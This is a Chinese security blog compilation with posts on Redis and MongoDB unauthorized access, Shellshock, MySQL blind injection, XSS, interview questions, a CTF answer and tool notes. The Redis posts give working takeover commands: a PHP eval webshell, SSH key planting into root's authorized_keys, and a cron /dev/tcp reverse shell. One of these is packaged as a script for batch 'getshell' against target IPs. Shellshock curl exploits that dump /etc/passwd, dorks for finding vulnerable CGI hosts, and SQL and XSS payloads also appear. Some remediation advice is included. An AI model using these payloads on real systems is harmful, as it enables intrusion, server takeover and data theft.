vmware10 体验黑苹果之旅

网上终于找到一个vmware10的镜像、http://pan.baidu.com/share/link?shareid=2936567012&uk=1728373928 本来以为就不用其他繁琐的流程了,发现开机时一直在开机画面不动,之后才晓得,原来要安装apple支持插件才行(unlock-all-v120)。密码123

然后重新下载了个 cdr镜像安装了下:
1.安装unlock-all-v120;
2.按照正常的新建虚拟机选择apple os,安装过程中会遇到提示磁盘不足,这时要在顶部的 实用工具->磁盘管理,里面把分的虚拟机磁盘给抹掉,然后就会出来一块磁盘,选这块磁盘继续安装就好了;
3.安装VMware Tools darwin6,然后就搞定了。

:mrgreen:

mongodb未授权漏洞分析

安装过程如下:
wget https://fastdl.mongodb.org/linux/mongodb-linux-i686-2.6.7.tgz
tar -zxvf mongodb-linux-i686-2.6.7.tgz
mv mongodb-linux-i686-2.6.7 mongodb
cd mongodb
mkdir data #创建数据目录
mkdir logs/ & touch mongodb.log #创建日志目录和文件
cd bin/

#yum whatprovides libstdc++.so.6
#yum install libstdc++-4.4.7-17.el6.i686

#mongodb.conf
dbpath = /root/Desktop/data/
logpath = /root/Desktop/logs/mongodb.log
#port = 27017
#fork = true
bind_ip = 0.0.0.0

#启动mongodb加载配置mongodb.conf
./mongod –config mongodb.conf

#启动的时候出现错误,./mongod: error while loading shared libraries: libstdc++.so.6: cannot open shared object file: No such file or directory, 然后需要安装libstdc,
yum install libstdc++-4.4.7-17.el6.i686
在安装过程中又出现错误,Protected multilib versions: libstdc++-4.4.7-17.el6.i686 != libstdc++-4.4.7-el6.i686,需要先对之前的libstdc升级后,再做安装;
yum update libstdc++-4.4.7-7.el6.i686 然后再安装即可成功!
yum install libstdc++-4.4.7-17.el6.i686
发现mongodb是绿色版,就把data和logs目录放到mongodb目录下了,这样是不可行的,试过一直是只有本机能访问,无法创建27017端口,会新生成一个端口。
本机测试:http://localhost:27017/
返回:It looks like you are trying to access MongoDB over HTTP on the native driver port.
外部访问:http://ip:27017,一直访问不了,而内部可以访问外部,搞半天原来是防火墙问题
关闭防火墙:service iptables stop
外部访问:http://ip:27017,或者用Robomongo客户端连接即可。

未授权访问测试:

第一种方法:直接访问 http://192.168.119.132:27017/,看到

It looks like you are trying to access MongoDB over HTTP on the native driver port.

则代表未授权访问了,然后用Robomongo连接mongodb数据库,如下:

robomongo

mongodb注入测试:

yum install php-devel #安装php开发组件
find / -name “phpize” #查找phpize路径,/usr/bin/phpize
yum install php-pecl-mongo #安装mongo php扩展

wget http://pecl.php.net/get/mongo-1.2.2.tgz
tar zxf mongo-1.2.2.tgz && cd mongo-1.2.2
/usr/bin/phpize #添加phpize
./configure
make && make install
find / -name “php.ini” #查找php配置路径,/etc/php.ini
在php.ini添加 extension=mongo.so,
service httpd restart #然后用 phpinfo();查看下,mongodb扩展终于安装成功了

mongo-php%e6%89%a9%e5%b1%95

 

<?php
$bson = $_GET['tables'];
echo $bson;
$conn = new Mongo();
print_r($conn->listDBs());
//$db = $conn->$bson;
//var_dump($db);
?>

Redis未授权访问漏洞导致getshell分析

wget http://download.redis.io/releases/redis-3.2.1.tar.gz # 官网:http://redis.io/
tar -zxvf redis-3.2.1.tar.gz
cd redis-3.2.1
cd src & make test
yum install tcl #安装tcl
make install
redis-server #运行服务端,默认端口 6379

以上是在centos下安装的,错误的配置,导致被提权了,因为/redis-3.2.1/redis.conf 这个配置文件,我下载下来后 bind 127.0.0.1 是开启的,如果开启的话只允许本地连接redis,不允许其他网段连接,在实际中使用,往往是要几台机器同时访问,于是为了省事直接把 #bind 127.0.0.1 给注释了,然后就允许所有机器链接redis了,漏洞就出在这个配置项上。

然后外网怎么连接呢?有人写的文章用 telnet 命令连接,不晓得实际中试验过没,我这里试验是不通过的,redis也有win下的客户端,看了一个c++需要编译,另外的是java的,还是放弃了,用redis提供的客户端。

验证当前机器,直接进入src目录下运行 redis-cli 即可: cd src & redis-cli;这里测试是要远程链接,然后把redis-3.2.1复制到另一台机器上,这里原本以为只复制redis-cli就可以了,试过,一直链接不成功,把整个文件夹拷贝出去,连接成功了。

redis-cli -h ‘HOST’ -p ‘PORT’ #默认端口是6379

连接成功后,输入info,发现提示没有权限:
DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the loopback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions: 1) Just disable protected mode sending the command ‘CONFIG SET protected-mode no’ from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2) Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to ‘no’, and then restarting the server. 3) If you started the server manually just for testing, restart it with the ‘–protected-mode no’ option. 4) Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside.

提示要配置CONFIG SET protected-mode no,也就是这个漏洞的利用条件有2个:
1.注释#bind 127.0.0.1,默认是没注释的;
2.修改#protected-mode no,默认是yes的;
然后后台守护进程 daemonize yes,默认是no,可以不改这里,然后需要加载配置运行redis
[root@localhost redis-3.2.1]# redis-server redis.conf #这里一定注意啊,要加载配置文件,不然改了配置文件也无效!

#yum -y install php 安装php,service httpd restart

有三种getshell方式,如下:

1.利用set命令设置变量写入WEBSHELL:
测试的时候要在centos服务器开启httpd apache服务;
config set dir /var/www/html/ #指定目录
config set dbfilename eval.php #指定文件
set webshell “<?php eval($_POST[‘a’])” #设置变量的同时,会把内容写进 eval.php
#看安全脉搏说的有时<!–?会出现问题,不一定成功,变量在数据库中保存,如果经过数据压缩可能会发生变化,写进去也就执行不了了;因此在这里特别的研究了一下;

redis提权

发现在保存的过程中,在?后面的都是没有变化的,那么在设置变量值的时候,如果变量前面加入?是否不会影响值的变化?测试了一下是OK的,成功绕过字符被污染问题。

redis%e6%8f%90%e6%9d%832

再看图1的 eval.php文件,前面的<?没有被污染了,用菜刀连下,也是OK的。。。

redis%e8%8f%9c%e5%88%80

利用条件:需要知道或猜解到网站路径及环境,实际情况redis会比较大,要先写入小马后再上传大马

2.利用自己服务器生成公钥写入目标服务器;

ssh-keygen -t rsa -C “gongyao” #生成公钥,在生成过程中会要求输入公钥文件名,账户及密码,密码要求输入两次确认。
(echo -e “\n\n”; cat gongyao.pub; echo -e “\n\n”) > eval.txt #生成后把密钥保存为文件
cat /root/eval.txt | ./redis-cli -h 192.168.119.132 -x set crackit #把公钥写入redis

剩下的就是配置redis了:
./redis-cli -h 192.168.119.132
192.168.119.132:6379> config set dir /root/.ssh/
OK
192.168.119.132:6379> config get dir
1) “dir”
2) “/root/.ssh”
192.168.119.132:6379> config set dbfilename “authorized_keys”
OK
192.168.119.132:6379> save
OK

然后利用公钥登陆 ssh -i gongyao root@192.168.119.132,输入yes、然后账户,密码,居然成功了。。。

redis%e6%8f%90%e6%9d%83%e5%85%ac%e9%92%a5

redis-shell

利用条件:redis对外开放,SSH可通过密钥登陆,其实这个更好利用一些,ssh默认是允许通过密钥登陆的,只要redis对外开放即可
3.反弹shell

nc -l -p? 5210 #nc监听端口
echo -e “\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.119.134/5210 0>&1\n\n”|./redis-cli -h 192.168.119.132 -x set 1
./redis-cli -h 192.168.119.132 config set dir /var/spool/cron/
./redis-cli -h 192.168.119.132 config set dbfilename root
./redis-cli -h 192.168.119.132 save

centos下计划任务/var/spool/cron/要等一会才会反弹回来,其他linux系统通过python反弹即可。

redis%e5%8f%8d%e5%bc%b9shell

redis-bash%e5%8f%8d%e5%bc%b9shell

利用条件:redis对外开放,不同系统不同用法

为方便批量getshell,写了个shell脚本:

#nc -l -p  5210 #nc监听端口 后直接运行下面 chmod +x ./*.sh && ./*.sh
ip_res=反弹IP
attack_ip=攻击目标IP
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/$ip_res/5210 0>&1\n\n"|./redis-cli -h $attack_ip -x set 1 &&
./redis-cli -h $attack_ip config set dir /var/spool/cron/ &&
./redis-cli -h $attack_ip config set dbfilename root &&
./redis-cli -h $attack_ip save

###使用任务计划反弹shell,测试时,不用了要删掉不然,在计划任务会一直执行,导致测试其他漏洞会不清楚原因###
###crontab -l #查看任务计划列表, crontab -r #清空任务计划列表 ###

 

修复漏洞参考阿里云的建议:
1、指定redis服务使用的网卡 (需要重启redis才能生效)
在 redis.conf 文件中找到 # bind 127.0.0.1 ,把前面的#号去掉,然后保存。注:修改后只有本机才能访问Redis。
2、设置访问密码 (需要重启redis才能生效)
在 redis.conf 中找到requirepass字段,在后面填上你需要的密码,Redis客户端也需要使用此密码来访问Redis服务。
3、修改Redis服务运行账号 (需要重启redis才能生效)
请以较低权限账号运行Redis服务,且禁用该账号的登录权限。另外可以限制攻击者往敏感写入文件,但是Redis数据还是能被黑客访问到,或者被黑客恶意删除。
4、设置防火墙策略
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

曾经写过的一份WEB渗透工程师面试题

曾经写过的一份WEB渗透工程师面试题,看到别人在网上已经公开了试题和答案、也发在博客上吧,反正已经被公开过了,限于招初级WEB渗透工程师。

1.sql注入有以下两个测试选项,选一个并且阐述不选另一个的理由:
A,demo.jsp?id=2+1 B,demo.jsp?id=2-1
(选B,因为A中的+号需要做URL编码后使用2%2B1)考URL编码
2.以下链接存在sql注入漏洞,对于这个变形注入,你有什么思路?
Demo.Do?DATA=MjAxNg==
(先解码,再拼接,再编码,再注入)考base64编码
3.发现jsp?uid=110注入点,你有哪几种思路获取webshell,那种是优选?
(1.首选,找web路径泄漏,猜解web路径,利用sql注入写入webshell,2.其次找后台密码,破解密码密文,找到后台登陆找利用点3.如果实在难找,找其他漏洞)危害类,看是否有利用漏洞、入侵的经验非单纯的安全测试
4.CSRF和XSS和XXE有什么区别,以及修复方式?
(csrf利用会话sessionid做请求,xxs是盗取cookies里的sessionid,两者不是一个漏洞,XXE是xml实体注入, csrf可以在会话中加token或者限制跨域请求,xxs可以在显示或保存时做转义,xxe可以限制外部xml引用)考会话劫持相关。新增XXE,即xml注入
5.CSRF、SSRF和重放攻击有什么区别?
(csrf是跨站请求伪造,利用会话sessionid发请求,需要外部引发条件。SSRF是服务端请求伪造,利用服务端获取文件参数,任意访问内网文件。重放攻击是指一个会话可以一直请求,一直返回,比如短信验证码),考对漏洞的理解,是否混淆
6.说出至少3种业务逻辑漏洞,并阐明漏洞原理?
(水平越权、垂直越权、任意充值账户密码、1分钱充话费、0元支付、刷积分漏洞、验证码或密码暴力破解等)考对业务涉及缺陷漏洞的经验。
7.圈出下面会话中可能存在问题的项,并标注可能会存在的问题
GET /ecskins/demo.jsp?uid=2016031900&keyword=”hello world!” HTTP/1.1
Host: *******com:82
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/css,*/*;q=0.1
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://*******com:82/eciop/orderForCC/cgtListForCC.htm?zone=11370601&v=1459663591817
Cookie:myguid1234567890=1349db5fe50c372c3d995709f54c273d; uniqueuserid=session_0GRMiFiYJhAh5_HZrQoZamJ; st_uid=N90pIYHLZgjXI-NX01vPUf46w952J-0NcX19vgj1L%3DJXrZP9sf0IY-vEI9iNIX150iLXKat1YZLnUf46Z%2C5aec5biM5rCROueDn%2BWPsOeDn%2BiNiTrng5%2Flj7A%3D; status=True
Connection: keep-alive
(标红1:sql注入,标红2:xss,标红3:cookies欺骗,4:会话CSRF或重放风险。)考对HTTP数据包字段敏感度及会话渗透经验。
8.找一类你最擅长的漏洞,谈下绕过漏洞修复后的方案?
//看对常规漏洞的深入程度
9.你常用的渗透工具有那些,最常用的是那个?
// 看渗透方向,和之前工作性质
10.描述一个你深入研究过的CVE或POC。
// 看水平和深度,中级水平,都有资助挖掘MVC、CMS框架的漏洞能力。
11.谈谈你经常关注的安全平台。
// 看安全行业的学习能力

 
哈哈,这个面试题被很多人转载,确没留下作者,因为曾经不想泄漏的,麻烦发的作者留下我博客呀,多谢咯。

一道PHP关于CTF的答案

<?php
$str = intval($_GET['id']);//获取参数id
$reg = preg_match('/\d/is', $_GET['id']);//匹配所有字符,不区分大小写
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){//参数不为数字且参数不等于但是参数又必须等于1
echo 'Flag';
}else{
echo "<img src='./1.jpg'>";
}
?>

题目是要求显示出 flag,默认显示图片、、、
这里就有三个必须的条件了;
答案是:id[]=1
 

参加中国互联网安全领袖峰会2016后感

上午的会议基本没啥,都是一些学术界的讲解、不过有个网安,上去讲了两点蛮好的,第一就是之前出现的商城返现、之前有个朋友问过我,说有一个商城,花钱买120快钱的东西,每个月会返10元,这样一年就返回来了,买东西不花钱,而且推荐别人的话会提高返现,别人赚什么钱呢,只能是感觉不正常,因为长此下去,钱都在网络服务商那里了,主要问题就是他们拿这笔钱怎么去赚钱,理财的话应该也赚不到这么高,风险是蛮大的,没推荐哪个朋友投资,感觉不靠谱,上午网安给解开了商城返现的面纱,这个属于诈骗,在深圳那边一个月时间通过这个非法获取一千多万元,然后关闭了商城。还有一个是说的黑产中洗钱的过程,会存到一个企业账户,然后通过这个账户分发给几个不同的小银行账户,然后再把钱弄到国外一些赌场,之后再从赌场把钱洗回来,听着流程比较复杂,实际操作起来速度非常快,一点都不慢,这种洗钱方式很高级,几乎是没有办法抓的。

下午比较好,安全极客秀,开场是王琦大神、差点以为他要演示ios的漏洞,他只是说了下他创业了,现在研究的都是一些拿到系统权限的高危漏洞。说了句比较经典的话:“过去PC端发现的漏洞一定会出现在移动端,现在移动端出现的漏洞,未来一定会出现在物联网中!”,很经典的话,确实如此,之后就开始上场了;

第一个是win10下利用一个PDF的缓冲区溢出漏洞,原本仅有缓冲区溢出漏洞,在win10下溢出代码是执行不了,看了讲解了正常情况下实现不了,通过找win内核的api绕过了读写地址达到任意代码执行的效果;
第二个漏洞是安卓的,没有公开细节,只是说了是通过安卓的第三方驱动进行提权的,也是不是直接实现的,发现第三方驱动有漏洞后,还要想办法绕过特定函数;
第三个智能机器人的远程代码执行、这个也比较辣手,是用web api实现的,但是找过web常见漏洞都没有,不晓得通过哪里招到的远程代码执行漏洞,可以任意控制机器人,这个也是未公开的漏洞,只是演示了以下效果;
第四个是索尼PS4越狱,作者也未公开过越狱代码、主要是讲了下发现漏洞的过程,在新版本越狱漏洞之前,先把之前的越狱漏洞都细细的看过了,再去越狱、遇到问题后,问团队,朋友,推荐了一个函数,然后作者就开始细细的研究了,最终实现了越狱;
第五个还是一个机器人,利用机器人去盗取电脑的资料,这个技术难点主要在机器人上,作者花了3000成本自己开发的机器人,比较牛叉、虽然机器人长的有点丑,但是电脑操作的功能都实现了、
第六个是一个博士,讲解了host的各种玩法,这个比较实用,可是初步判断,会遇到缓存污染,如果要getshell需要结合其他漏洞一起利用才会比较有价值,有下面技巧:

技巧1:多个不同的host头
GET / HTTP/1.1
Host a.com
Host b.com
然后执行流程是 客户端请求 -> a.com -> b.com,在不同中间件中解析的不一样;
HTTP标准:RFC 2616 隐式要求拒绝多Host头, RFC 7230 明确要求拒绝多Host

技巧2:host头前后增加空格
GET / HTTP/1.1
【空格】Host a.com【空格】
【空格】Host b.com【空格】
在host头前后加入空格,可以进行CDN缓存污染、防火墙绕过等,缓存污染要加入Doesnt:matter字段,然后把attack.com前或后置空格

技巧3:request-URL是绝对路径
GET http://a.com HTTP/1.1
host b.com
会遇到先加载前面后加载后面,再或者先加载后面,再加载前面的情况,比如waf绕过。

这次会议,安全极客们分享了几个CVE,深有感触:

1.坚信程序一定存在漏洞!
因为这几个CVE都不是通过一个技术点直接提权的,至少都是3个技术点绕过,最后才提权了,或许很多人只发现了第一个漏洞,后面的没有继续进行下去,后面的进行下去了,还有后面,一道一道的门槛,总是有绕过的方法,要坚信程序一定存在漏洞,看是否能找得到。

2.每一个细节可能存在漏洞!
最后在博士分享http协议的时候,居然通过http协议的host头可以做那么多事情,绕过防火墙,绕过waf,一般人都不会检查的这么细,在host头前后加入空格,利用host的歧义做很多事情,研究的深度不一样,有时或许不一定是要大千世界,什么都懂,只要大千世界,无所不能就ok。在一线城市不在于会多少,而在于多人少不会,而你会,这就是专家了。

3.一定要有自己的技术圈!
忘记是第几个漏洞了,分享的时候,主要是一个思路,自己发现漏洞了,但是获取不到系统权限,然后技术圈的人推荐他看一个函数,之后是由于看了这个函数才可以提权的,一个人不能万能的,国内乌云、90sec、t00l也都是要共享自己的研究成果,才可以看别人的研究成果,国内hacker的话,在里面建立自己的圈子貌似不错。

还有好多好多要学习的和具备的,要学习的不怕不怕佬、通过学习解决不了具备的才是可怕的。

Mysql时间延迟盲注之手工利用

sqlmap支持使用–Techniques “T”指定时间延迟注入,节省sqlmap使用其他注入测试时间,然后就是伪静态指定位置注入,在注入参数中加*(不能去掉参数值),如果有token的情况,在sqlmap中有个conf配置文件,可以配置url,没使用过,不晓得是否可以绕过token,如果遇到可识别的图形验证码,就只能自己写脚本手工注入了,于是手工分析了下,正合适完善下sql注入高级篇教程。
首先mysql延迟注入支持两个函数,一个是benchmark函数,(有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式, 返回的结果始终是0)比如: select BENCHMARK(10000000,md5(1)); 这种方式是执行了10000000次md5(1)操作,这种方式判断是否延迟消耗CPU,这个函数的最初设计是为了测试mysql的性能的,如果做破坏的话,把第一个参数加到最大,多线程发送请求,会造成cc攻击,导致服务器负荷过高、一般都不用这个函数,用sleep(2)睡眠函数,判断延迟时间准确,而且不会影响系统性能。

基础函数整理如下:

#编码时间延迟注入
if(now()=sysdate()%2csleep(2)%2c0)

#解码后的样子
if(now()=sysdate(),sleep(2),0)

#延迟函数
sleep(2)//秒

#条件语句,条件如果是执行第二个参数,否执行第三个参数
if(condition,true,false)

#转换成ascii码函数
ascii()

#取字符串长度
substring(“string”,strart,length)
或者用mid(),取出字符串里的第几位开始,长度多少的字符

##当ascii码正确时,产生延时,否则不延时
if(ascii(subtring(“hello”,1,1))=104,sleep(2),1) #取得hello的第一个字符h,转化为ascii码,与104对比,如果相等则执行sleep(2),否则执行1,在sqlmap中,如果标签缀被跑出了,下次的时候sqlmap会优先判断表前缀,从而提高了注入速度。

如果自己写脚本的话,if(ascii(“h”)=104,sleep(2),1),通过ascii码把a-zA-Z0-9都遍历一遍,即可取出对应的结果了。 在sqlmap中把这个表达式拆分了噢、用16进制方式做的对比,预计是可以加快速度的,不过猜测会消耗主机资源。

##查表名,查字段,内容以此类推
if(ascii(substring((SELECT distinct concat(表名) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(2),1);

#查数据库

##########################################################################################################################

实际中测试mysql盲注,首先要闭合前面的sql语句,要后面的sql语句和前面是连贯可执行的,不然没用,比如:

id=1 union select if(ascii(“h”)=104,sleep(2),1)

if(ascii(“h”)=104,sleep(2),1) #实际中使用要把,做URL编码为%2c

注入流程首先要构造mysql数据查询、版本、然后判断数据库数量,每个数据库表的长度,length(database())>10,然后再一个一个猜测,时间延迟盲注拖数据比较慢噢、用二分法优化可以提高速度,先判断字符的边界,再慢慢缩小范围,直到相等了触发延迟为止,sqlmap优化了很多,速度比较可观、后面再详细看sqlmap源码。

bash破壳漏洞验证与利用

一些资料只有本地有,把资料汇总下发上来,以后用到的时候直接来查好了,时间久了,容易被遗忘、
首先base破壳本地的两个版本POC验证:

env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” #CVE-2014-6271,显示了vulnerable则证明存在漏洞
env -i? X='() { (a)=>\’ bash -c ‘echo date’; cat echo #CVE-2014-7169,在上个版本绕过的,如果提示bash:syntax error,则证明存在漏洞

远程测试:

curl -H ‘User-Agent:() { :; }; echo -e “\r\nVul\r\n”‘ http://domain/cgi-bin/index.cgi #如果输出Vul,则证明存在漏洞

 

这个漏洞和其他组件也可以结合起来用,我对apache熟悉一些,只用apache的cgi做中间件去做命令执行;

如果本地测试的话:安装好apache后,配置下面CGI映射目录

/etc/apache2/sites-enabled/000-default.conf文件中
ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/ #映射CGI目录

配置好了后,随便放一个cgi文件即可,下面是一个下载密码文件的exp

curl -A ‘() { :; }; /bin/cat /etc/passwd > dumped_file’ http://domain/poc.cgi
curl http://192.168.0.1/dumped_file

通过修改bash代码可做任意命令执行、可以通过这个命令执行反弹shell噢、

 

网上找这类漏洞的经验如下:

谷歌搜索:inurl:/cgi-bin/?? filetype:cgi 或者 inurl:/cgi-bin/?? filetype:sh

如果只用inurl:/cgi-bin/找的话,要嗅探CGI文件,可以用下面字典去借助dirb遍历验证

/cgi-bin/load.cgi
/cgi-bin/gsweb.cgi
/cgi-bin/redirector.cgi
/cgi-bin/test.cgi
/cgi-bin/index.cgi
/cgi-bin/help.cgi
/cgi-bin/about.cgi
/cgi-bin/vidredirect.cgi
/cgi-bin/click.cgi
/cgi-bin/details.cgi
/cgi-bin/log.cgi
/cgi-bin/viewcontent.cgi
/cgi-bin/content.cgi
/cgi-bin/admin.cgi
/cgi-bin/webmail.cgi

利用php转化ASCII编码绕过Xss

xss通过eval(String.fromCharCode(*,*,*,))函数可以实现绕过某些过滤,而eval函数是执行里面的代码,里面有个String.fromCharCode函数,这个函数里面可以以逗号分开ASCII码,最后返回合并的字符串,网上没查到直接转换的工具,就自己写了个,总不能遇到的情况下一个一个对照着ASCII码表去转换吧、ASCII码表又分为8进制、10进制、16进制,这里用的是十进制的噢、用下面php脚本即可转换:

<?
$xss = "alert(document.cookie)";
for($i=0;$i<strlen($xss);$i++){
echo ord($xss[$i]).',';
}

直接把转换的代码放进String.fromCharCode函数里就好了、、、其实单纯这么一个也没有什么,还记得之前因为变量优先级赋值的时候,16进制执行的函数不、、、特定情况下,如果能结合起来,会很强大的噢、
POC如下:

<script>eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))</script>

KaLi 信息收集 maltogo 使用

maltogo是一款自动化信息收集工具,比较强大,网络拓扑图、ip、e-mail等等信息、还提供了很多插件,目前没有用到过插件功能,注册的话,要翻墙去注册,https://www.paterva.com/web7/buy/maltego-clients/maltego-ce.php,我们使用的是免费版CE,需要在这里点击registration(https://www.paterva.com/web7/community/community.php)去注册账户,我以前注册过了,忘记的话,通过注册页面的Reset Password重设密码,如下:

maltogo-register
maltogo-register

没有注册过的,翻墙通过第一个面板去注册个账户好了,注册好后,在kali中打开直接输入登陆账户和密码好了,验证账户密码不需要翻墙。这里有一篇介绍的文章:http://wifibeta.com/2012-03/thread-675-1-1.html,不过介绍的还是比较少、、、安装成功后,如下:

maltogo -welcome
maltogo -welcome

先介绍菜单:
investigate # 情报搜集面板
magage #管理面板,主要是升级或者修改默认配置信息
view # 显示视图,主要是显示相关的配置
organize # 主要是结果拓扑图的显示方式
machines # 项目策略,也可以通过向导方式建立
collaboration # 与windows系统协同使用

基础的使用到的是第一个菜单investigate,上下左右充满各种菜单、功能是太多。

点左上角的 + 号,新建项目,然后在空白的面板双击或右击,会弹出 start a Machine向导,会有10多个选项要求选择:
company Stalker # 搜集公司信息
find wikipedia edits # 搜集维基百科编辑的信息
footprint L* # *代表1-3,搜集的level的等级
footprint XXL #使用本机内置的配置
person email address #搜集email和ip信息
prune? leaf entities # 左侧面板选项自定义,默认不选定
twitter digger X # 通过twitter搜集信息
twitter digger Y # 通过twitter搜集信息,扩展附属分析结果
twitter monitor # 监控twitter
URL To Network And Domain Information #通过网址搜集网络和域名信息

然后下面还有两个复选按钮:

Show on startup # 启动时显示
Show on empty graph click #控制面板为空时显示

一般我选第二个,启动的时候就不用弹出来了。至于扫描选项的话,目前我是选的footprint L1,还有左侧的面板十分强大,右面的面板可以更改项目的一些属性,和vb6.0的IDE环境有点像、底部的是运行日志、可以设置日志显示的字段、